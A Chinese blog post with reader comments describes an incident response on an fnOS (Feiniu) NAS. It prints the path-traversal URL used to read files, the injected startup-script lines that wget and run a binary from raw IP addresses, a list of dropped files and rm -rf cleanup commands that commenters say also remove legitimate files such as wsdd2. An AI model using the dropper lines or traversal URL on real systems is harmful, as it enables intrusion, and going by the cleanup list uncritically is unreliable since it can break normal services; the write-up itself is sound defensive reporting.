记录一次飞牛NAS (fnos) 中毒排查与修复全过程
摘要:记录了从发现网络异常、定位漏洞到清除恶意代码的完整过程。涉及大量异常请求、系统漏洞利用及恶意脚本的手动清理。
1月22日:初现端倪
发现网络经常断线,检查路由发现飞牛NAS(fnos)的请求数达到惊人的 20W+。
- 临时措施:在路由器端限制了NAS的连接数。
- 跟进:在论坛发帖询问。当天晚间客服联系要求远程排查,因NAS不在身边暂时搁置。
1月23日:尝试升级
客服联系建议升级至 v1.1.15 版本。升级后观察,网络异常消停了几天。
1月24日:漏洞预警
论坛出现相关讨论帖,指出系统可能存在高危漏洞。
参考帖子:飞牛NAS系统可能存在漏洞
漏洞原理:
通过特定URL路径可直接遍历文件系统:地址/app-center-static/serviceicon/myapp/%7B0%7D?size=../../../../
1月25日:解除限制
观察情况稳定,解除了路由器的NAS连接数限制。
1月31日:病毒复发与深度查杀
情况复现,网络再次频繁断线。
- 异常连接:发现同一IP
103.248.152.136发起大量请求。 - 尝试方案:参考 V2EX相关讨论 使用了一些专杀脚本,但治标不治本,重启后病毒依旧存在。
1. 溯源分析
检查系统文件,在 /usr/trim/bin/system_startup.sh 中发现了恶意代码注入:
# 查看启动脚本
cat /usr/trim/bin/system_startup.sh文件内容分析:
正常逻辑部分:
STATUS="/var/lib/dpkg/status"
BACKUP="/var/lib/dpkg/status.original"
if [ ! -f "$BACKUP" ]; then
if [ -f "$STATUS" ]; then
cp "$STATUS" "$BACKUP"
fi
fi
if [ ! -f "$STATUS" ]; then
if [ -f "$BACKUP" ]; then
cp "$BACKUP" "$STATUS"
fi
fi注入的恶意代码部分:
rm -rf /var/tmp/trim-update
rm -rf /var/tmp/update-*
# 恶意下载并执行
wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
wget http://43.198.11.122/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
# 因为地址无法访问了,获取不到具体恶意脚本内容2. 清理与修复
首先执行社区提供的病毒专杀脚本:
Github Gist: 病毒专杀脚本
执行完脚本重启后,发现 /usr/lib/systemd/system/ 目录下仍有一些新创建的可疑文件。
待删除的恶意文件列表:
总的建议是查看这些目录下的文件生成日期,22号之后都比较可疑。目前已知文件名如下
/sbin/gots/usr/bin/dockers/usr/trim/bin/wsdd2/usr/bin/SazW/usr/bin/nginx(注意区分系统自带nginx,确认是恶意文件再删)/usr/lib/systemd/system/SazW.service/usr/lib/systemd/system/nginx.service/usr/lib/systemd/system/dockers.service/usr/lib/systemd/system/trim_pap.service/usr/lib/systemd/system/sync_server.service
彻底删除步骤:
由于病毒通常会给文件加上 i 属性(不可修改),直接删除会失败。需要先解锁再删除。
# 1. 去除“不可修改”属性 (以 gots 为例,其他文件同理)
chattr -i /sbin/gots
# 建议批量解锁,例如: chattr -i /usr/bin/dockers /usr/trim/bin/wsdd2 ...
# 2. 强制删除
rm -f /sbin/gots
# 3. 检查是否删除成功
ls -l /sbin/gots最后检查了系统的 Crontab 定时任务,暂未发现异常情况。
也可以试下这些命令,然后重启看看是否还有新的病毒文件生成。
# 1. 停止并禁用恶意服务 (防止进程占用导致无法删除)
# 注意:如果服务已经挂掉或不存在,报错可忽略
systemctl stop SazW nginx dockers trim_pap sync_server
systemctl disable SazW nginx dockers trim_pap sync_server
# 2. 批量解锁文件权限 (去除 immutable 属性)
chattr -i /sbin/gots \
/usr/bin/dockers \
/usr/trim/bin/wsdd2 \
/usr/bin/SazW \
/usr/bin/nginx \
/usr/lib/systemd/system/SazW.service \
/usr/lib/systemd/system/nginx.service \
/usr/lib/systemd/system/dockers.service \
/usr/lib/systemd/system/trim_pap.service \
/usr/lib/systemd/system/sync_server.service
# 3. 强制删除恶意文件及服务配置
rm -rf /sbin/gots \
/usr/bin/dockers \
/usr/trim/bin/wsdd2 \
/usr/bin/SazW \
/usr/bin/nginx \
/usr/lib/systemd/system/SazW.service \
/usr/lib/systemd/system/nginx.service \
/usr/lib/systemd/system/dockers.service \
/usr/lib/systemd/system/trim_pap.service \
/usr/lib/systemd/system/sync_server.service
# 4. 重载 systemd 守护进程 (让系统知道服务已被删除)
systemctl daemon-reload
# 5. 再次检查确认 (如果输出为空,则说明删除干净)
ls -l /sbin/gots /usr/bin/dockers /usr/trim/bin/wsdd2 /usr/bin/SazW至此,可以重启看看是否还会有病毒文件生成。
最后说一句,关于这次事件飞牛官方人员的解释:
1月31号大爆发了还这么说,也不提示用户进行更新,感觉不拿用户当回事。
图片出处
用户WDDXH提交的0day证据:
可以看出使用官方的域名访问也是一样的情况
2月2日:官方发布查杀指南
curl -L https://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec具体漏洞细节可以查看epcdiy:【用户文件随便看!我们分析了知名NAS漏洞前世今生-哔哩哔哩】
提供CDN加速/云储存服务
这个没有公网是不是没啥问题
理论上是的。
我有一份1月8日的系统快照,可以直接恢复,但是如何判断1月8日创建备份快照时,是否已经被黑, 重装好麻烦啊,不想重装,会退到一个月前也能接受
rm -rf /var/tmp/trim-update
rm -rf /var/tmp/update-*
这两行是正常的,下载官方1.1.18版本镜像解包即可验证。
在最新版中 这个文件可能是正常的
/usr/trim/bin/wsdd2 md5:d0a0030f8932211d6bfd849260bb7e6e
我重新在虚拟机中安装了飞牛 并升级到最新系统 分别对比了多台主机及最新重装的系统 该文件均为上述md5值
rm -rf /var/tmp/trim-update
rm -rf /var/tmp/update-*
这两行也是正常的吧
你检查一下文件的创建日期,然后备份一下,尝试删除,看看有无保护,最后看一下文件大小。
rm -rf /var/tmp/trim-update
rm -rf /var/tmp/update-*
这两行也是正常的吧
rm -rf /var/tmp/trim-update
rm -rf /var/tmp/update-*
修复后如何恢复FN CONNECT连接呢
我觉得这个和fnconnect没有关联
修复后smb连别的设备不能用了
参考其他评论,可能是正常的wsdd2被删除了。
老哥,有没有脚本能够修复啊,小白不懂折腾啊
变种很多,没有万能的,论坛的那些脚本你可以都试试,不放心的话运行之前先问问ai有无风险,官方版本已经更新1.18了,可以试试看解决了没。也可以使用finalshell这个软件,比较方便查看nas的文件。
我都是用v.pn连回内网的,只开一个V.PN的服务端口
那就失去部分便利性了,每次还要连到内网。
我和你一样,但是我还开了fnconnect,会不会我也中毒了
哈哈,我也用tailcale连回内网,再内网访问。只是网络没直连好,但是我直连会遇到跨运营商的问题,老是丢包,最后大部分都是用官方的frp。
官方更新了修复脚本,可以试试:curl -L https://static2.fnnas.com/aptfix/trim-sec -o trim-sec && chmod +x trim-sec && ./trim-sec 或者查看文档底部链接查看官方教程。